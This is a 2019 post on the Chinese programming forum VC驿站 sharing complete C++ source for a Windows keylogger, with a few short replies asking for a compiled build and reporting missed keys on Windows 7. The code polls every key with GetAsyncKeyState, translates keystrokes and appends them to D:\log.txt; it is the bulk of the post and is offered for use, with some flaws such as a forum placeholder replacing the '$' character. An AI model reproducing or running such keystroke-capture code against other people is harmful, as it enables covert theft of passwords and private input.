VC驿站

 找回密码
 加入驿站

QQ登录

只需一步,快速开始

搜索
查看: 1341|回复: 4

[推荐] vc++键盘记录器

[复制链接]
16_avatar_middle
最佳答案
0 
在线会员 发表于 2019-2-22 13:36:41 | 显示全部楼层 |阅读模式
  1. #include <windows.h>
  2. #include <Winuser.h>
  3. #include <string>
  4. #include <fstream>
  5. #include <iostream>
  6. using namespace std;
  7. string GetKey(int Key) // 判断键盘按下什么键
  8. {
  9.         string KeyString = "";
  10.         //判断符号输入
  11.         const int KeyPressMask = 0x80000000; //键盘掩码常量
  12.         int iShift = GetKeyState(0x10); //判断Shift键状态
  13.         bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键
  14.         if (Key >= 186 && Key <= 222)
  15.         {
  16.                 switch (Key)
  17.                 {
  18.                 case 186:
  19.                         if (IS)
  20.                                 KeyString = ":";
  21.                         else
  22.                                 KeyString = ";";
  23.                         break;
  24.                 case 187:
  25.                         if (IS)
  26.                                 KeyString = "+";
  27.                         else
  28.                                 KeyString = "=";
  29.                         break;
  30.                 case 188:
  31.                         if (IS)
  32.                                 KeyString = "<";
  33.                         else
  34.                                 KeyString = ",";
  35.                         break;
  36.                 case 189:
  37.                         if (IS)
  38.                                 KeyString = "_";
  39.                         else
  40.                                 KeyString = "-";
  41.                         break;
  42.                 case 190:
  43.                         if (IS)
  44.                                 KeyString = ">";
  45.                         else
  46.                                 KeyString = ".";
  47.                         break;
  48.                 case 191:
  49.                         if (IS)
  50.                                 KeyString = "?";
  51.                         else
  52.                                 KeyString = "/";
  53.                         break;
  54.                 case 192:
  55.                         if (IS)
  56.                                 KeyString = "~";
  57.                         else
  58.                                 KeyString = "`";
  59.                         break;
  60.                 case 219:
  61.                         if (IS)
  62.                                 KeyString = "{";
  63.                         else
  64.                                 KeyString = "[";
  65.                         break;
  66.                 case 220:
  67.                         if (IS)
  68.                                 KeyString = "|";
  69.                         else
  70.                                 KeyString = "\";
  71.                         break;
  72.                 case 221:
  73.                         if (IS)
  74.                                 KeyString = "}";
  75.                         else
  76.                                 KeyString = "]";
  77.                         break;
  78.                 case 222:
  79.                         if (IS)
  80.                                 KeyString = '"';
  81.                         else
  82.                                 KeyString = "'";
  83.                         break;
  84.                 }
  85.         }
  86.         //判断键盘的第一行
  87.         if (Key == VK_ESCAPE) // 退出
  88.                 KeyString = "[Esc]";
  89.         else if (Key == VK_F1) // F1至F12
  90.                 KeyString = "[F1]";
  91.         else if (Key == VK_F2)
  92.                 KeyString = "[F2]";
  93.         else if (Key == VK_F3)
  94.                 KeyString = "[F3]";
  95.         else if (Key == VK_F4)
  96.                 KeyString = "[F4]";
  97.         else if (Key == VK_F5)
  98.                 KeyString = "[F5]";
  99.         else if (Key == VK_F6)
  100.                 KeyString = "[F6]";
  101.         else if (Key == VK_F7)
  102.                 KeyString = "[F7]";
  103.         else if (Key == VK_F8)
  104.                 KeyString = "[F8]";
  105.         else if (Key == VK_F9)
  106.                 KeyString = "[F9]";
  107.         else if (Key == VK_F10)
  108.                 KeyString = "[F10]";
  109.         else if (Key == VK_F11)
  110.                 KeyString = "[F11]";
  111.         else if (Key == VK_F12)
  112.                 KeyString = "[F12]";
  113.         else if (Key == VK_SNAPSHOT) // 打印屏幕
  114.                 KeyString = "[PrScrn]";
  115.         else if (Key == VK_SCROLL) // 滚动锁定
  116.                 KeyString = "[Scroll Lock]";
  117.         else if (Key == VK_PAUSE) // 暂停、中断
  118.                 KeyString = "[Pause]";
  119.         else if (Key == VK_CAPITAL) // 大写锁定
  120.                 KeyString = "[Caps Lock]";
  121.         //-------------------------------------//
  122.         //控制键
  123.         else if (Key == 8) //<- 回格键
  124.                 KeyString = "[Backspace]";
  125.         else if (Key == VK_RETURN) // 回车键、换行
  126.                 KeyString = "[Enter]\n";
  127.         else if (Key == VK_SPACE) // 空格
  128.                 KeyString = " ";
  129.         //上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
  130.         //上档键和别的键组合,输出时有字符输出
  131.         /*
  132.         else if (Key == VK_LSHIFT) // 左侧上档键
  133.         KeyString = "[Shift]";
  134.         else if (Key == VK_LSHIFT) // 右侧上档键
  135.         KeyString = "[SHIFT]";
  136.         */
  137.         /*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
  138.         else if (Key == VK_TAB) // 制表键
  139.                 KeyString = "[Tab]";
  140.         else if (Key == VK_LCONTROL) // 左控制键
  141.                 KeyString = "[Ctrl]";
  142.         else if (Key == VK_RCONTROL) // 右控制键
  143.                 KeyString = "[CTRL]";
  144.         else if (Key == VK_LMENU) // 左换档键
  145.                 KeyString = "[Alt]";
  146.         else if (Key == VK_LMENU) // 右换档键
  147.                 KeyString = "[ALT]";
  148.         else if (Key == VK_LWIN) // 右 WINDOWS 键
  149.                 KeyString = "[Win]";
  150.         else if (Key == VK_RWIN) // 右 WINDOWS 键
  151.                 KeyString = "[WIN]";
  152.         else if (Key == VK_APPS) // 键盘上 右键
  153.                 KeyString = "右键";
  154.         else if (Key == VK_INSERT) // 插入
  155.                 KeyString = "[Insert]";
  156.         else if (Key == VK_DELETE) // 删除
  157.                 KeyString = "[Delete]";
  158.         else if (Key == VK_HOME) // 起始
  159.                 KeyString = "[Home]";
  160.         else if (Key == VK_END) // 结束
  161.                 KeyString = "[End]";
  162.         else if (Key == VK_PRIOR) // 上一页
  163.                 KeyString = "[PgUp]";
  164.         else if (Key == VK_NEXT) // 下一页
  165.                 KeyString = "[PgDown]";
  166.         // 不常用的几个键:一般键盘没有
  167.         else if (Key == VK_CANCEL) // Cancel
  168.                 KeyString = "[Cancel]";
  169.         else if (Key == VK_CLEAR) // Clear
  170.                 KeyString = "[Clear]";
  171.         else if (Key == VK_SELECT) //Select
  172.                 KeyString = "[Select]";
  173.         else if (Key == VK_PRINT) //Print
  174.                 KeyString = "[Print]";
  175.         else if (Key == VK_EXECUTE) //Execute
  176.                 KeyString = "[Execute]";
  177.         //----------------------------------------//
  178.         else if (Key == VK_LEFT) //上、下、左、右键
  179.                 KeyString = "[←]";
  180.         else if (Key == VK_RIGHT)
  181.                 KeyString = "[→]";
  182.         else if (Key == VK_UP)
  183.                 KeyString = "[↑]";
  184.         else if (Key == VK_DOWN)
  185.                 KeyString = "[↓]";
  186.         else if (Key == VK_NUMLOCK)//小键盘数码锁定
  187.                 KeyString = "[NumLock]";
  188.         else if (Key == VK_ADD) // 加、减、乘、除
  189.                 KeyString = "+";
  190.         else if (Key == VK_SUBTRACT)
  191.                 KeyString = "-";
  192.         else if (Key == VK_MULTIPLY)
  193.                 KeyString = "*";
  194.         else if (Key == VK_DIVIDE)
  195.                 KeyString = "/";
  196.         else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
  197.                 KeyString = ".";
  198.         //小键盘数字键:0-9
  199.         else if (Key == VK_NUMPAD0)
  200.                 KeyString = "0";
  201.         else if (Key == VK_NUMPAD1)
  202.                 KeyString = "1";
  203.         else if (Key == VK_NUMPAD2)
  204.                 KeyString = "2";
  205.         else if (Key == VK_NUMPAD3)
  206.                 KeyString = "3";
  207.         else if (Key == VK_NUMPAD4)
  208.                 KeyString = "4";
  209.         else if (Key == VK_NUMPAD5)
  210.                 KeyString = "5";
  211.         else if (Key == VK_NUMPAD6)
  212.                 KeyString = "6";
  213.         else if (Key == VK_NUMPAD7)
  214.                 KeyString = "7";
  215.         else if (Key == VK_NUMPAD8)
  216.                 KeyString = "8";
  217.         else if (Key == VK_NUMPAD9)
  218.                 KeyString = "9";
  219.         //-------------------------------------------//
  220.         //-------------------------------------------//
  221.         //*对字母的大小写进行判断*//
  222.         else if (Key >= 97 && Key <= 122) // 字母:a-z
  223.         {
  224.                 if (GetKeyState(VK_CAPITAL)) // 大写锁定
  225.                 {
  226.                         if (IS) //Shift按下:为小写字母
  227.                                 KeyString = Key;
  228.                         else // 只有大写锁定:输出大写字母
  229.                                 KeyString = Key - 32;
  230.                 }
  231.                 else// 大写没有锁定
  232.                 {
  233.                         if (IS) // 按下Shift键: 大写字母
  234.                                 KeyString = Key - 32;
  235.                         else // 没有按Shift键: 小写字母
  236.                                 KeyString = Key;
  237.                 }
  238.         }
  239.         else if (Key >= 48 && Key <= 57) // 键盘数字:0-9及上方的符号
  240.         {
  241.                 if (IS)
  242.                 {
  243.                         switch (Key)
  244.                         {
  245.                         case 48: //0
  246.                                 KeyString = ")";
  247.                                 break;
  248.                         case 49://1
  249.                                 KeyString = "!";
  250.                                 break;
  251.                         case 50://2
  252.                                 KeyString = "@";
  253.                                 break;
  254.                         case 51://3
  255.                                 KeyString = "#";
  256.                                 break;
  257.                         case 52://4
  258.                                 KeyString = "[        DISCUZ_CODE_0        ]quot;;
  259.                                         break;
  260.                         case 53://5
  261.                                 KeyString = "%";
  262.                                 break;
  263.                         case 54://6
  264.                                 KeyString = "^";
  265.                                 break;
  266.                         case 55://7
  267.                                 KeyString = "&";
  268.                                 break;
  269.                         case 56://8
  270.                                 KeyString = "*";
  271.                                 break;
  272.                         case 57://9
  273.                                 KeyString = "(";
  274.                                 break;
  275.                         }
  276.                 }
  277.                 else
  278.                         KeyString = Key;
  279.         }
  280.         if (Key != VK_LBUTTON || Key != VK_RBUTTON)
  281.         {
  282.                 if (Key >= 65 && Key <= 90) //ASCII 65-90 为A-Z
  283.                 {
  284.                         if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
  285.                         {
  286.                                 if (IS) // 大写锁定,并且按下上档键:输出为小写字母
  287.                                         KeyString = Key + 32;
  288.                                 else //只有大写锁定:输出为大写字母
  289.                                         KeyString = Key;
  290.                         }
  291.                         else // 大写没有锁定:a-z
  292.                         {
  293.                                 if (IS)
  294.                                 {
  295.                                         KeyString = Key;
  296.                                 }
  297.                                 else
  298.                                 {
  299.                                         Key = Key + 32;
  300.                                         KeyString = Key;
  301.                                 }
  302.                         }
  303.                 }
  304.         }
  305.         return KeyString;
  306. }
  307. void main()
  308. {
  309.         string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
  310.         string TempString = "";
  311.         fstream FStream;
  312.         cout << "现在开始键盘记录";
  313.         FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
  314.         while (true)
  315.         {
  316.                 Sleep(5);
  317.                 for (int i = 8; i <= 255; i++)
  318.                 {
  319.                         if (GetAsyncKeyState(i) & 1 == 1)
  320.                         {
  321.                                 TempString = GetKey(i);
  322.                                 FStream.write(TempString.c_str(), TempString.size());
  323.                                 FStream.close();
  324.                                 FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
  325.                         }
  326.                 }
  327.         }
  328. }
复制代码




上一篇:C++中函数的:值传递、指针传递、引用传递 讲解!
下一篇:VC++ 自毁实现

本帖被以下淘专辑推荐:

57_avatar_middle
最佳答案
0 
在线会员 发表于 2019-5-1 15:45:49 | 显示全部楼层
我用vc6.0怎么编译不了,可否发一个编译好的,谢谢
57_avatar_middle
最佳答案
0 
在线会员 发表于 2019-6-10 09:23:21 | 显示全部楼层
你好,编译出来在win7下按键记录会丢失,win7下有些按键记录不到。XP下正常使用
21_avatar_middle
最佳答案
0 
在线会员 发表于 2019-6-29 18:00:41 | 显示全部楼层
感觉代码好臃肿
01_avatar_middle
最佳答案
0 
在线会员 发表于 2019-7-13 21:14:33 | 显示全部楼层
学无止境!
您需要登录后才可以回帖 登录 | 加入驿站 qq_login

本版积分规则

×【发帖 友情提示】
1、请回复有意义的内容,请勿恶意灌水;
2、纯数字、字母、表情等无意义的内容系统将自动删除;
3、若正常回复后帖子被自动删除,为系统误删的情况,请重新回复其他正常内容或等待管理员审核通过后会自动发布;
4、感谢您对VC驿站一如既往的支持,谢谢合作!

关闭

站长提醒上一条 /2 下一条

QQ|小黑屋|手机版|VC驿站 ( 辽ICP备09019393号 )|网站地图wx_jqr

GMT+8, 2021-1-17 04:21

Powered by CcTry.CoM

© 2009-2020 cctry.com

快速回复 返回顶部 返回列表